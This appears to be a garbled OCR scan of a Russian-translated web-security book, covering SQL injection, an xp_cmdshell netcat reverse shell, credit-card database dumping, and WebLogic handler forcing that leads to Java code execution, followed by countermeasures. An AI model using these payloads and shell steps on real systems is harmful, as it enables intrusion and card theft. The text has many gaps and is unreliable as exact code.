' Automobile Inventory the following details the current of cars and trucks on our lot. toi Иj ГО i 4 i ГО| 5 ! Make BMW j Make Make i Volvo Vohro ! Make i Vohro | Model ; Civic Model | { Model ! Color Color j fed i Color 1 i White Color | 1999 1987 Year , . Year ••• 2002 2001 | Condition Condition poor Condition good Condition new excellent 1 35000 i Price j I 17000 j 27125 Price 35000 ! Grey Condition 11.4. Используя универсальное тождество SQL OR 1=1, можно по лучить все записи базы данных Сработало! Джек получил перечень всех выставленных на продажу автомоби лей. Он смог это сделать, воспользовавшись тем, что выражение 1=1 всегда явля ется истиной, и добавив его в оператор SQL. Два завершающих дефиса являются оператором комментариев SQL. Поэтому все, что содержится после этих симво лов, игнорируется. Благодаря использованию такого приема удаляется вся после дующая часть запроса. Таким образом, Джек воспользовался следующим кодом ASP: * FROM inventory WHERE & SetRS= А вот к чему будет преобразован этот фрагмент кода после передачи в запросе строки ; OR 1=1: * FROM inventory WHERE inventoryID=ID OR 1=1 В результате были получены все записи таблицы inventory, а не только запись с идентификатором 1 (рис. 11.5). Хотя Джеку понравилось то, что он сделал, ему было известно, что дальше в этом направлении двигаться некуда. Поэтому он попытался выполнить лучшую из атак, которая основывалась на использовании хранимой проце дуры хр cmdshell. Эта процедура позволяет выполнить любую команду из командной строки, а потому такое действие может быть любым зарегистрировавшим ся пользователем базы данных (обычно администратор базы данных SQL использует имя Поэтому он сразу же попытался разместить на удаленной системе утилиту Глава Доступ к базам данных 251
netcat (nc.exe). (Более подробная информация об этой утилите содержится в главе 15.) Позже утилита netcat позволит Джеку сделать все, что ему захочется. Веет 3i , Automobile Inventory The information details the current inventory of cars and trucks on our lot. Вынужденное выполнение команд, переданных в строке Прежде всего он попробовал загрузить утилиту пс.ехе с использованием следую щего URL: Снова получилось! Джек подумал о том, что же это дает на самом деле? Хорошо, Web сервер ответил нормально, как и должно было быть. После этого Джек перешел к следующему шагу, запустив утилиту пс.ехе на выполнение и открыв порт, к которо му можно будет подключиться. n L р2000 е Если все пройдет успешно, то утилиту netcat можно будет использовать на компь ютере Джека, чтобы подключиться к серверу базы данных и получить доступ к уда ленной командной строке. 192.168.0.9 2000 Microsoft Windows 2000 [Version 5.00.2195] (С) Copyright 1985 2000 Microsoft Corp. ipconfig Windows 2000 IP Configuration Ethernet Adapter Local Area Connection: Connection specific DNS Suffix . : oc.cox.net IP Address : 192.168.0.9 Subnet Mask. . : 255.255.255.0 Default Gateway 192.168.0.1 Трюк с утилитой netcat также оказался успешным. Теперь в качестве администра тора системы Windows Джек мог делать все, что угодно. А ему требовалось лишь по лучить доступ к базе данных и завладеть настоящим сокровищем --- номерами кре дитных карточек. Поэтому с использованием оболочки netcat Джек попытался найти 252 Часть III. Как они это делают
утилиту --- наиболее удобное средство генерации SQL запросов из командной стро ки. Однако ничего найти не удалось. Возможно, утилиту osql удалили после установки SQL сервера. Тогда Джек решил самостоятельно загрузить эту утилиту на сервер базы данных и извлечь номера всех кредитных карточек, которые ему удастся найти. Для достижения цели Джек сначала загрузил на сервер утилиту osql.exe, воспользо вавшись тем же приемом, что и при загрузке Теперь, имея в своем распоряже нии программу нужно было найти ключ к разгадке --- пароль к имени пользова теля sa. Джеку было известно, что на большинстве Web серверов IIS пароли хранятся в файле поэтому он попытался найти этот файл в каталоге однако его там не оказалось. Затем он вспомнил, что пароль должен содержаться в фай ле поскольку в противном случае из него нельзя было бы обращаться к ба зе данных. Для поиска этого файла Джек воспользовался следующей командой: С:\> dir Is dir /s Volume in drive С has no label. Volume Serial Number is C456 EAF2 Directory of 04/28/2002 06:29p 671 1 File(s) 671 bytes Итак, этот файл содержался в рабочем каталоге основного Web сервера. Теперь для поиска пароля учетной записи sa в файле необходи мо было найти ключевое слово ConnectionString. findstr /i "connectionstring" dsn=localhost; pwd=password; ASP=ASP Script; initial С этого момента для инвентаризации базы данных можно спокойно использовать утилиту ехе. osql U sa Р password "exec osql 0 sa Р password Q "exec sp_tables" C:\> osql U sa P password Q "select * information В конце концов Джеку удалось обнаружить нужную таблицу Account s. Для получе ния главного приза достаточно было еще раз воспользоваться командой osql. osql d web 0 sa P password Q "select lastname, creditcard, expiration from accounts" Firstname lastname creditcard expiration Stuart McClure Jim Smith Bob Grouch (3 rows affected) 4202401082819495 1234657622158325 4252134873587395 2002 11 01 2003 03 01 2004 05 25 00.00.00.000 00.00.00.000 00.00.00.000 Теперь Джек не сомневался, что на сегодня развлечений вполне достаточно. Контрмеры Безопасность баз данных является одной из наиболее неразвитых областей инфор мационных технологий. В дополнение к полной и испытанной временем политике защиты для устранения практически любого изъяна можно сформулировать несколько надежных контрмер. Глава Доступ к базам данных 253
1. Идите в ногу со временем, устанавливайте модули обновления. Как Microsoft, так и Oracle регулярно выпускают модули обновления. Убедитесь, что эти модули загружены и установлены сразу же после их появления. Перед установкой мо дулей всегда проверяйте их на тестовой системе. 2. Применяйте на брандмауэре строгие правила фильтрации. Эта контрмера доста точно очевидна. Однако периодически проверяйте правила фильтрации и бло кируйте доступ к любым портам базы данных, таким, как TCP и UDP 1434 (MS SQL) и TCP 1521 1530 (Oracle). 3. Проверяйте входные данные. Как уже много раз упоминалось в этой книге, не обходимо выполнять проверку входных данных, поступающих от пользователя. Должен быть проверен тип этих данных (числовой, строковый и т.д.), а также удалены все нежелательные символы, например метасимволы. 4. Удаляйте хранимые процедуры. Обязательно удалите все хранимые процедуры из всех баз данных, в том числе из главной. Эти внешне безобидные сценарии могут привести к взлому даже самой защищенной базы данных. 5. Использование хранимых процедур. Когда возможно, переводите часто исполь зуемые фрагменты SQL в хранимые процедуры. Это уменьшит код SQL, кото рый содержится в ASP, и сократит атаки на проверку ввода запросов. 6. Шифрование сеанса. Если сервер баз данных установлен отдельно от Web сервера, то передаваемые между ними данные необходимо шифровать, напри мер с помощью протокола системы Windows 2000. 7. Минимальные привилегии. Обязательно предоставляйте минимальные приви легии, которых достаточно для выполнения поставленной задачи. Для доступа к файлам базы данных никогда не используйте имя Резюме В базах данных хранится чрезвычайно важная информация: имена покупателей, номера социального страхования, номера кредитных карточек и т.д. Вся эта инфор мация является сердцем современного бизнеса. Идея обеспечения безопасности сис темы электронной коммерции с внутренней базой данных может показаться сомни тельной. Однако, проявляя бдительность и придерживаясь приведенных выше реко мендаций, можно хорошо защитить используемую базу данных. 254 Часть III. Как они это делают
ГЛАВА 12 Java; удаленное выполнение команд Изучение ошибок --- это не только профилактика, но и сти мул к постижению истины. Уолтер американский журналист
Введение В начале своего развития Web технологии были очень простыми и позволяли ис пользовать лишь наиболее примитивные возможности протокола HTTP и языка HTML. Однако по мере роста потребностей в динамическом содержимом Web тради ционные языки и протоколы Internet становились все менее эффективными. Начали развиваться новые технологии, призванные логически расширить HTTP и HTML. Первым событием в повышении динамичности содержимого Web стало появление CGI (Common Gateway Interface --- интерфейс общего шлюза). Как уже упоминалось в главе 1, в основном разрабатываются на языках С, C++ и Perl. Именно они и стали предвестником того, что должно было появиться чуть позже. Эволюция Web приложений от статических и простых порталов до динамичных и красочных хранилищ информации открыла новые горизонты как для конечного поль зователя, так и для взломщика. В то время практически все программы были плохо написаны и содержали изъяны даже в самых общих процедурах защиты, используе мых в процессе получения и обработки пользовательских данных. В результате CGI программы содержали многочисленные ошибки, которые можно было использовать для получения доступа к файловой системе и базам данных. Ино гда можно было получить даже интерактивный доступ к удаленной командной обо лочке. Причинами наличия таких уязвимых мест были сценарии, в которых не вы полнялась проверка входных данных и которые имели несовершенные механизмы ау тентификации и слабую интеграцию с другими частями системы. Эволюция динамического содержимого представлена в табл. были не очень эффективны и с трудом поддавались масштабируе мости. Каждый раз при выполнении или программы в системе созда вался новый процесс. Для преодоления этих узких мест и создания новой, более за щищенной архитектуры различные производители приступили к разработке новых технологий. Независимо друг от друга такие компании, как Microsoft, Allaire и Sun, предложили новые архитектуры, в которых учитывались современные требования к производительности и безопасности. Однако на фазе эволюции архитектуры в ней появлялись новые недостатки. Сервер IIS и технология ASP компании Microsoft оказались уязвимыми к атакам, связанным с переполнением буфера, получением исходного кода, просмотром ката логов и удаленным выполнением команд. Система ColdFusion от компании Allaire со держала архитектурные изъяны, которые привели к возможности реализации атак DoS и получения исходного кода. В других технологиях, разработанных, например, компанией Netscape, использовались так называемые надстройки. Эти модули позво ляли добавлять новые функции и интегрировать их с Web сервером. В этой архитек туре на Web сервере можно было использовать различные языки сценариев, такие, как ASP, PHP и CFM (более полная информация об этих технологиях содержится в главе 1). С каждым из этих серверных ресурсов были связаны свои расширения, та кие, как .php и .cfm. Если клиенты Web обращались к этим ресурсам, то их за просы обрабатывались дополнительными модулями. При этом для обмена информа цией использовался протокол HTTP. Для облегчения программирования дополни тельные модули поддерживали специальные дескрипторы, которые можно было использовать в коде самой HTML страницы. В то время как появлялись и развивались новые технологии, например ASP, Cold Fusion, PHP и т.д., компания Sun Microsystems решила расширить технологию Java и адаптировать ее для использования в Web. Так появились технологии, основанные на языке Java. 256 Часть III. Как они это делают
Таблица Эволюция динамического содержимого Этап 01 2 3 Архитектура Простые HTTP серверы HTTP + HTTP + простые языки сценариев HTTP + предварительно откомпилированные про граммы Причина появления Необходимость односторонней передачи содержимого Появление интерфейса CGI обусловлено необходимостью поддержки динамического взаимодействия сервера и клиента. Каждая операция ввода вывода порождает отдельный процесс Синтаксический анализ и обработка сценариев для каждого клиент ского запроса порождает новый процесс Вместо порождения нового процесса на уровне операционной систе мы сервер с многопоточной архитектурой способен обрабатывать ка ждый клиентский запрос в отдельном потоке Технологии, основанные на Java По сравнению с традиционными серверными языками, Java предлагает два основ ных преимущества, которые вывели эту далеко вперед. Во первых, язык Java с самого начала является объектно ориентированным и содержит богатый набор универсальных классов и методов. Во вторых, Java является Это означает, что одна и та же программа может использоваться на любой платформе. Такая возможность существенно упрощает развертывание приложений практически на любой платформе, поддерживающей Java. За последние несколько лет появились различные технологии Java, в том числе Java, страницы JSP (Java Server Pages) и компоненты Ранее компания Sun представила собственный сервер Java Web Server, поддерживающий различные технологии Java. В настоящее время эта платформа стала весьма попу лярной на рынке серверов приложений. Позже появились другие реализации этого подхода, в частности сервер WebSphere от компании IBM, WebLogic от ВЕА и от Allaire. По мере роста популярности этой платформы появлялось все больше сер веров приложений Java. Наиболее известными из них являются и Tomcat, ко торые разработаны в рамках модели открытого кода и могут использоваться под управлением серверов Apache, iPlanet, Resin, и др. Архитектура серверов приложений Java Наименьшим строительным блоком серверов приложений Java является Как показано на рис. 12.1, сервлеты размещаются на сервере и используют отдельный пул потоков. Сервлеты предварительно скомпилированы и имеют доступ ко всем внутренним ресурсам сервера. Каждый запрос к серверу приложений сервлет принимает в своем собственном потоке. Такая архитектура значительно повышает масштабируемость Web приложений. Как показано на рис. 12.2, на уровне ядра используется множество в том числе для работы с файлами, серверными страницами Java (JSP) и серверными включе ниями SSI (Server Side Includes). Они расширяются обеспечиваю возможность использования HTTP. Такие сервлеты, как предоставляют доступ к текстовым и HTML файлам. Каждый запрос GET к обычному текстовому файлу обслуживается этим сервлетом в одном потоке, после чего файл передается клиенту. Лю бой запрос к файлам обрабатывается загрузчиком сервлетов JSP, который поддержива ется компилятором Java и библиотеками времени выполнения. Серверные страницы Java компилируются и конвертируются в повторно используемые классы. Глава 12. Java: удаленное выполнение команд 257
Поток 2 Поток 3 Доступ к ресурсам таким как страницы Java, компоненты доступа к базам данных, Java Beans Пул потоков сервлета Рис. Простая многопоточная структура сервлета Уровень ядра Пользовательские Заголовок Text/HTML Обработка дескрипторов JSP Компилятор и виртуальная машина Java Заголовок Text/HTML Пользовательские классы и сервлеты файлы JSP, файлы классов, файлы файловая система Рис. 12.2. Архитектура сервера приложений Java Атака на Java Web Server Сизиф уже давно знал об этом, однако до сих пор никому ничего не рассказывал. А обнаружил он новую возможность выполнения команд на сервере Java Web Server. Изъян был связан не только с этим сервером, но и с сервером компании ВЕА, одним из наиболее популярных и широко распространенных серверов Java. Он нашел этот изъян уже два дня назад, но пока хранил это в тайне, надеясь со вершить выгодный обмен со своим Буддой, который работал в опера ционной системе AIX компании IBM. Изъян был связан с удаленным переполнением буфера на системы AIX. Реализовав атаку с использованием этого изъ яна, на сервере можно было удаленно выполнять любые команды. Сизиф знал, что 258 Часть III. Как они это делают
Будда работает именно над такой утилитой. Несколько месяцев назад Сизиф был обижен неизвестным взломщиком и теперь хотел вернуть долг. Его противник рабо тал в системе AIX и хвастался тем, что никто не сможет взломать ее. Сизиф хотел по квитаться, и с помощью утилиты Будды он мог бы это осуществить. (Сизиф зашел в чат, чтобы посмотреть, тан ли Будда] Будда, у тебя все готово? Существует одна <Будда>Я добиться безукоризненного выполнения мне парочку <Будда>Ты лучше подумай о том, чтобы дать мне взамен что то хорошее! на меня положиться! Сизиф не сидел сложа руки. Следующие два часа были самыми длинными в его жизни. С помощью Будды он сможет окончательно отомстить своему врагу с псевдо нимом 311t3 --- гуру системы которая до сих пор еще была взломана. Теперь Сизифу оставалось только ждать. Будда был интересным типом. Около десяти лет он работал администратором сис темы AIX, а этим еще лет пять программировал на ассемблере. Так что ему бы ло прекрасно известно, насколько полезной может оказаться утилита взлома. Однако он был мало знаком со средствами взлома в Web, а это именно то, с чем к нему при шел Сизиф. Будде было необходимо средство, позволяющее проникнуть на Web узел электронной коммерции и извлечь максимальное количество номеров кредитных кар точек. Будда предпочитал скрывать свои соединения с Internet. Он оставался незаме ченным благодаря использованию фальшивых идентификаторов и краденых номеров кредитных карточек. Несколько недель назад Будда поделился с Сизифом своим удивлением по поводу огромного количества серверов Java Web Server, которые запо лонили Internet. Зная о проблеме Сизифа, Будда предложил совершить взаимовыгод ный обмен. Сделка вот вот должна была состояться. [Подключение к каналу <Будда>Сизиф, ты тут? Расскажи, какие у тебя новости. <Будда>Да, есть. III спеши, давай сначала посмотрим на твой <Сизиф>Хорошо, хорошо. [Сизиф отправил файл, в котором описывался способ удаленного выполнения команд на сервере We bLogic компании <Будда>Получил, сейчас я [Прошло несколько <Будда>Прекрасно! Это действительно работает! <Будда>Получи то, что я тебе [Будда пересылает исходный и двоичный код для взлома службы finger системы AIX] <Сизиф>Получил. Ты парень, Будда. До встречи. Сизиф и Будда получили то, что хотели. может начаться настоящий хаос. изъянов на серверах приложений Java Даже многопоточные модели серверов приложений Java имеют изъяны в подсистеме безопасности. Такие лидеры продаж, как Java Web Server от Sun, WebSphere от IBM, отВЕАи от Allaire, а также множество других сер Глава Java: удаленное выполнение команд 259
веров страдают от изъянов, обнаруживаемых в их архитектуре и реализации. Архитек турные изъяны приводят к возможности реализации атак, направленных на получение исходного кода, генерацию условия отказа в обслуживании (DoS), удаленное выпол нение произвольных команд, а также получение физических путей. Все эти атаки яв ляются достаточно стандартными и простыми в реализации. Это и будет продемонст рировано ниже. Пример: компания по продаже акций Компания Acme Online Trading, Inc. занимается продажей акций через Internet на ряду со многими другими компаниями, которые появились в дни расцвета электрон ной коммерции. Однажды руководство этой компании решило использовать плат форму Windows NT компании Microsoft, базу данных SQL и сервер приложений. При просмотре Web узла компании Acme Online были обнаружены следующие sp sp com/ html http://www.acmetradeonline.com/servlets/tradeonline http://www.acmetradeonline.com/feedback/feedback.jsp На основе этих ссылок можно попробовать идентифицировать технологии, ис пользуемые в Web приложении компании Acme. Прежде всего бросается в глаза то, что практически все URL заканчиваются расширением Это означает, что на этом узле интенсивно используются серверные страницы Java. Еще одно ценное предположение можно сделать на основе анализа следующего URL: http://www.acmetradeonline.com/servlets/tradeonline Обратите внимание на то, что в этом пути содержится терм /ser vlets/. Это свиде тельствует о применении Java, которые запускаются с использованием за грузчика Загрузчик сервлетов определяет соответствие, указывающее Web серверу на то, что нужно инстанцировать экземпляр имя которого указано за ключевым словом. На разных серверах могут использоваться различные ключевые слова, однако обычно это servlet или servlets. Теперь можно погрузиться чуть глубже и попробовать определить тип сервера при ложения Java, используемого в Web приложении. С помощью утилиты netcat на сер вер можно передать запрос HEAD и попытаться определить тип сервера. Из получен ного ответа ясно, что используется сервер версии 5.1.0 компании С : \ > пс www.acmetradeonline.com 80 HEAD / HTTP/1.1 302 Moved Temporarily Location: /index.html Server: WebLogic 5.1.0 04/03/2000 17:13:23 Content Length: 217 Connection: Close Это очень мощный сервер приложений Java, который поддерживает все основные технологии Java, в том числе Java, серверные страницы Java, компоненты JavaBeans и JDBC. Недавно в архитектуре сервера WebLogic были обнаружены неко торые изъяны, которые будут рассмотрены ниже. 260 Часть III. Как они это делают
и обработчики WebLogic Конфигурационный файл любого сервера Web приложения играет чрезвычайно важную роль. Конфигурационные параметры сервера приложений WebLogic хранятся в файле ties. В этом файле определены все конфигурационные пара метры: TCP порт Web сервера, пароль администратора, информация о параметрах обеспечения безопасности и интерфейсе с базой данных. Другие серверы приложе ний, такие, как WebSphere от IBM, Java Web Server от Sun и JRun от Allaire, исполь зуют собственные файлы конфигурации другого формата. Конфигурационные пара метры некоторых серверов хранятся в XML файле; параметры других серверов явля ются скрытыми и доступны только через специальный графический интерфейс. Конфигурационный файл дает прекрасное представление о внутренней работе серве ра приложений. Практически всеми серверами приложений Java используется несколько базовых для доступа к файлам, обработки страниц JSP и серверных включе ний SSI. Эти уровня ядра составляют основу сервера приложений, с помощью которых можно обращаться к серверным ресурсам. Каждый передаваемый на сервер за прос обрабатывается соответствующим в своем собственном потоке. Такая многопоточная, основанная на сервлетах архитектура делает серверы приложений Java легкомасштабируемыми и чрезвычайно эффективными. Серверы приложений Java могут использоваться также в качестве дополнительных модулей основного Web сервера, на пример IIS, Apache или Netscape Enterprise Server. Конфигурационный файл позволяет связать сервлеты с различными типами ресурсов, поддерживаемых сервером приложе ний. Таким образом, запросы на страницы обрабатываются сервлетом JSPServlet, запросы на получение простых HTML файлов --- сервлетом FileServlet и т.д. Такие сервлеты называются также обработчиками (handler) и делятся на обработчики фай лов, обработчики страниц JSP, обработчики SSI и т.д. Например, при использовании URL будет запущен JSPServlet, по скольку клиентом запрашивается страница JSP. Теперь попробуем разобраться, какие же ошибки могут возникать в сервере при ложений Java. К появлению нового класса изъянов может привести некорректная реа лизация или настройка различных обработчиков. Обработчики и загрузчики приложений Прежде всего консультант по вопросам безопасности желает выяснить, что про изойдет, если вызвать сервлет FileServlet и запросить страницу JSP или для получе ния простого HTML файла обратиться к JSPServlet? Этот вопрос отражает идею подмены обработчика (handler forcing). Для понимания механизма подмены обработчиков нужно знать, как сервлеты реги стрируются и запускаются. Ответ можно найти в конфигурационном файле. Ниже при ведена строка файла в которой регистрируется сервлет SnoopServlet. Необходимо обратить внимание на два аспекта. В правой части приведенной ди рективы задается имя SnoopServlet, который расположен в каталоге В левой части директивы указан псевдоним или короткое имя сервлета, используемое при его вызове. Другими словами, все, указано после строки отображается на конкретный сервлет, указанный в правой части. В рассматриваемом случае сервлету соответствует имя snoop. В следую щем URL показано, как можно запустить сервлет SnoopServlet: На рис. 12.3 представлено содержимое окна броузера после запуска сервлета. Глава 12. Java: удаленное выполнение команд 261
Requested URL: Request information: PMC. Вызов что созданного Snoop Вызов сервлета FileServlet Однако при дальнейшем просмотре файла можно обнаружить более интересную информацию. сервера приложений уровня ядра регистри руются точно так же, как и пользовательские В следующем фрагменте фай ла показана строка регистрации сервлета FileServlet: регистрация файлового сервлета Сервлет FileServlet ищет в каталоге файл, а обрабатывает его. Если запрашиваемый файл является каталогом, FileServlet добавит к пути файл и обработает его f FileServlet В левой части последней строки указан псевдоним сервлета FileServlet ко торый в строке URL можно использовать для его запуска. Можно сформулировать следующий вопрос: "Что произойдет, если в окне броузера ввести URL acmeonline.com/file?" Сервлет FileServlet предназначен для обработки клиентских за просов на получение простых текстовых файлов. Однако, что произойдет, если попы таться использовать этот сервлет для получения файлов JSP? Скоро все станет ясно. При вводе URL адреса в окне броузера появится информация, показанная на рис. 12.4. При обращении к странице js p на экране появится небольшая форма, предназначенная для отправки клиентских сообщений в компанию Acme Online Trading. Вспомним, что по умолчанию файлы JSP обслуживаются JSPServlet. Теперь с помощью следующего адреса URL для обработки файла jsp можно попробовать воспользоваться сервлетом FileServlet: Результат применения обработчика с псевдонимом file к файлу JSP показан на рис. 12.5. 262 Часть III. Как они это делают
а 55* We to you I Страница для ввода клиентских сообщений компа нии Acme Online Trading ' .......... ....... . i Получение исходного кода с помощью FileServlet Что же произошло? В окне броузера появился исходный код файла jsp! Полу ченный результат иллюстрирует подмену обработчика, когда запрос на доступ к ресурсу передается другому обработчику. В рассматриваемом примере для обработки запроса на страницу JSP был вызван FileServlet. Что касается архитектуры, то вместо сервле та предназначенного для обработки запросов на страницы JSP, был использо ван сервлет FileServlet, который передал обратно содержимое файла "как есть". Это чит, что без какой либо дополнительной обработки был получен исходный страницы jsp. Точно взломщик может просмотреть исходный код любого файла JSP. Эта ошибка характерна не только для сервера WebLogic. Аналогичный архитектур ный изъян обнаружен и в сервере WebSphere компании IBM, а также в сервере Java Web Server компании Sun. Для запуска сервлета FileServlet сервером WebSphere используется псевдоним а сервером Java Web Server --- whatever С учетом того, что на Web узле компании Acme Online Trading установлен сервер WebLogic, исходный код страницы JSP можно получить с помощью следующего URL: Глава 12. Java: удаленное выполнение команд 263
Вызов сервлета Теперь рассмотрим случай подмены другого обработчика сервера We bLogic. Начнем с того, что посмотрим на файл weblogic. proper ties под несколько другим углом зрения. I регистрация сервлета if SSIServlet осуществляет поиск в каталоге iи его обработку. ServerSidelncludeServlet В последней строке приведенного фрагмента псевдоним соответствует имени ServerSidelncludeServlet. Это предоставляет еще один способ получения ис ходного кода страницы JSP. Для этого нужно воспользоваться следующим URL: com/*. shtml/feedback/ jsp И снова с использованием обработчика серверных сценариев в клиентском броузе ре можно получить исходный код страницы Сервлет SSI предназначен для обра ботки таких дескрипторов SSI, как include и exec. Однако в данном случае он исполь зуется для обработки запроса на страницу JSP. Как видно из рис. 12.6, такая подмена позволяет получить необработанный исходный код страницы jsp. page fileNmie Siring * String ffleNauie.tniW ffleNanie enter feedback to 12.6. Вызов сервлета SSI Вызов сервлета JSPServlet и его использование для компиляции текстовых и HTML файлов Рассмотрим другой изъян, также связанный с подменой обработчика. В данном случае используется та же основная концепция, но при этом достигается совершенно другой эф фект. Однако сейчас нужно проанализировать ранее информацию. В исход ном коде страницы jsp можно обнаружить некоторые интересные фрагменты. 02. <body> 03. page 04. 264 Часть III. Как они это делают
FileWriter new true); String name = String String : : Из строки 05 видно, что клиентское сообщение записывается в файл Кроме того, абсолютно очевидно, что этот файл сохраняется в каталоге, где содержат ся и все остальные файлы Страница js p просто добавляет в файл input.html дополнительные записи. Теперь по смотрим на сам файл (рис. 12.7). . Smith ; шу let My Hey is уст do my you . 12.7. Просмотр скрытой страницы input.html Обычно страница input.html не связана ни с одной главной страницей. Так что, не зная ее имени, можно вообще никогда не узнать о ее существовании. Вспомним, что эту страницу удалось получить благодаря подмене обработчика. Воспользовавшись приведенным выше URL, можно просмотреть все сообщения клиентов компании Acme Online Trading. Возможность чтения скрытых сообщений не так важна. Гораздо интереснее тот факт, что с использованием формы jsp в файл на сервере компании можно записать собственные данные. Эту находку можно объединить с другой важной информацией, содержащейся в файле *ttt tftItf 1ttttftffIIttti СВОЙСТВА WEBLOGIC JSP Задает автоматической страниц JSP. каталоги и для использования удалите комментариев. weblogic jsp=\ jsp=\ \ verbose=true Обратите внимание, что JSPServlet зарегистрирован с псевдонимом Значит, его можно вызвать напрямую, указав в адресе URL строку *. jsp. Глава 12. Java: удаленное выполнение команд 265
Теперь вернемся к вопросу, который был сформулирован выше: "Что произойдет, если вызвать обработчик JSPServlet и передать ему обычный HTML или ASCII Можно попробовать найти ответ и на другой вопрос: "Будет ли сервер при ложений компилировать этот файл, а затем передавать результаты выполнения полу ченного байт кода, если в нем будет содержаться код Для получения ответов на эти вопросы существует единственный способ --- попробовать! Прежде чем "применить" обработчик JSPServlet к файлу input.html, в этом файле нужно разместить свои "данные", представляющие собой код Java, а не обычный текст. На рис. 12.8 показан простой оператор печати на Java, размещаемый в файле input.html. We to Ввод в поле формы кода на языке Java Ha рис. 12.9 показано содержимое страницы input.html. rt* tfЛ' . I сам ix My noif : Hey I do my Are you Feedback : Содержимое файла input.html В сообщении, размещенном в файле содержится исходный код на язы ке Java. Теперь для обработки файла input.html можно вызвать обработчик JSPServlet. В соответствии с используемой архитектурой JSPServlet предназначен для об работки кода JSP и, следовательно, должен интерпретировать содержимое файла input.html как дескрипторы JSP, которые нужно скомпилировать и выполнить. Этот прием можно реализовать с помощью следующего URL: 266 III. Как они это делают
Такой запрос сообщает серверу WebLogic о том, что для компиляции и выполне ния файла необходимо запустить JSPServlet. Если воспользоваться таким адресом URL, то в окне броузера будет выведена строка Execute Me. В данном случае обращение к обработчику JSPServlet привело к удаленному выполнению команды на сервере компании Acme, а не к получению исходного кода. Как видно из рис. 12.10, при принудительном использовании обработчика JSPServlet была скомпилирована HTML страница. При этом полученный класс файл был размещен в рабочем каталоге, а полученные в результате его выполнения данные отправлены обратно клиенту. HTML Обработчик страниц JSP применендля обработки HTML файлов Обработка дескрипторов JSP Виртуальна машина Jav а Компилятор Java Класс Рис. 12.10. При принудительном вызове сервлета JSPServlet был инициирован процесс компиляции страницы JSP Однако вместо простых операторов печати взломщик может воспользоваться более мощным фрагментом кода и выполнить на удаленной системе произвольную команду. На рис. показан процесс вставки кода, позволяющего выполнить на удаленной машине команду dir. will back to l• I Вставка исходного кода, используемого для взлома Глава 12. Java: удаленное выполнение команд 267
Вот этот фрагмент кода на Java: page String s=null, try{ Process /c (new { t+=s; e){ } При использовании этого фрагмента кода удаленной операционной системой бу дет выполнен метод exec. В данном случае взломщик выполнил команду cmd /с dir, предполагая, что сервер WebLogic работает под управлением Windows NT. Если бы удаленный Web сервер был установлен на машине UNIX, то взломщик должен был бы запустить процесс /bin/sh с la. На рис. 12.12 показано содержимое страницы input.html перед ее компиляцией. 12.12. Содержимое страницы со встроенным исходным кодом Теперь для компиляции HTML файла взломщику необходимо воспользоваться об работчиком следующим образом: html На рис. 12.13 показан полученный при этом результат. Обратите внимание, что команда dir была удаленно выполнена на сервере компа нии Acme. Вполне уместен вопрос: "Взломщик выполнил команду dir... ну и Но ведь вместо запуска команды dir взломщик может так же просто выполнить ко манду tftp, разместить на сервере утилиту netcat и лишь после этого приступить к удаленному выполнению команд на сервере. Получив интерактивный доступ к уда ленной системе, взломщик сможет сделать все, что угодно. Как говорится, на этом игра закончена. Аналогичный изъян был обнаружен в сервере Java Web Server компании Sun Mi crosystems. В комплект поставки этого сервера входит пример для реализации доски объявлений, который содержит изъян, аналогичный рассмотренному выше. 268 Часть III. Как они это делают
in D ia в: I Рис. команды с помощью JSPServlet Контрмеры Теперь, когда стало известно, сколь опасны могут быть атаки подобного рода, да вайте посмотрим, насколько легко можно их предотвратить. Существует множество контрмер, но применение хотя бы части из них позволит отразить 99% атак. Защита сервера Java Web Server Для защиты сервера Java Web Server выполните следующие шаги (они упорядочены по степени важности). • Проверка входных данных. Пожалуй, ахиллесовой пятой Internet является не достаточная проверка входных данных. Это может привести к взлому даже самых защищенных Web узлов. При обработке пользовательских данных нужно применять стандартные алгоритмы их проверки. Существующие Web технологии и проверки входных данных рассматривались в главе 1. При корректной реализации механизма проверки входных данных шансы взломщика по успешному применению описанных выше приемов практиче ски сводятся к нулю. • Удаление ненужных исполняемых файлов. По возможности удалите ненужные исполняемые файлы, такие, как cmd.exe, tftp.exe и ftp.exe в Windows или t f t p и f t p в Unix. Если эти файлы полностью удалить с основного Web сервера нельзя, по крайней мере попробуйте ограничить доступ к ним с по мощью списка ACL. В системе Windows для наложения ограничений на вы полнение команд можно воспользоваться средствами файловой системы NTFS. В системе UNIX также имеются встроенные средства установки таких разрешений. • Удаление установленных файлов примеров. Хотя этот шаг позволяет предотвра тить атаки только на сервер компании Sun, этим принципом имеет смысл руководствоваться и при развертывании других систем. Глава 12. Java: удаленное выполнение команд 269
Другие основные контрмеры • .i Во многих серверах приложений Java существуют изъяны, связанные с ошибка ми, допущенными при разработке их архитектуры и проектировании. Хотя для борьбы с этими изъянами не существует быстрых контрмер, следует ряд об щих рекомендаций. Отделение сервлетов ядра от сервлетов приложения --- это ключевой компонент сервера приложений Java. Многие компонен ты сервера приложения реализованы в виде сервлетов используются для извлечения файлов из файловой системы, выполнения синтаксического анализа данных HTTP запросов, компиляции и выполнения серверных Java, а также для выполнения многих других функций. Эти составляют основу, исполь зуемую в процессе разработки приложений. При развертывании приложения на сер вере приложений Java необходимо обеспечить, чтобы сервлеты приложения хранились отдельно от сервлетов ядра. В противном случае взломщики смогут обращаться к ним напрямую, как описано выше. Запрещение использования незарегистрированных сервлетов Некоторые серверы приложений Java разрешают выполнение которые не зарегистрированы в системе, но физически присутствуют в каталоге классов. При этом, даже если системный администратор не зарегистрировал эти их по прежнему можно использовать, если известен полный путь к каталогу, в котором они содержатся. Для предотвращения случайного выполнения нужно физически удалить соответствующий файл класса из файловой системы или файла JAR. В свою очередь, разработчики серверов приложений Java должны гарантировать, что незаре гистрированные сервлеты не подлежат выполнению. Связывание сервлетов с типом ресурсов Некоторые изъяны, например возможность принудительного использования обра ботчика для компиляции кода Java, внедренного в файлы других типов, возникают из за того, что обработчик JSP можно применять для обработки ресурсов, которые на самом деле не являются страницами JSP. Например, можно запретить ис пользование обработчика JSP для обработки HTML файла. В состав сервера прило жений Java должен входить механизм проверки, наложения ограничений и связыва ния обработчиков с ресурсами различных типов. Надежная проверка входных данных Пожалуй, надежная проверка входных данных является наиболее важной контрме рой, которую можно посоветовать. Все данные, полученные от Web броузера, должны быть тщательно проверены. Такая проверка особенно необходима в том случае, когда данные записываются на жесткий диск или в базу данных. 270 Часть III. Как они это делают
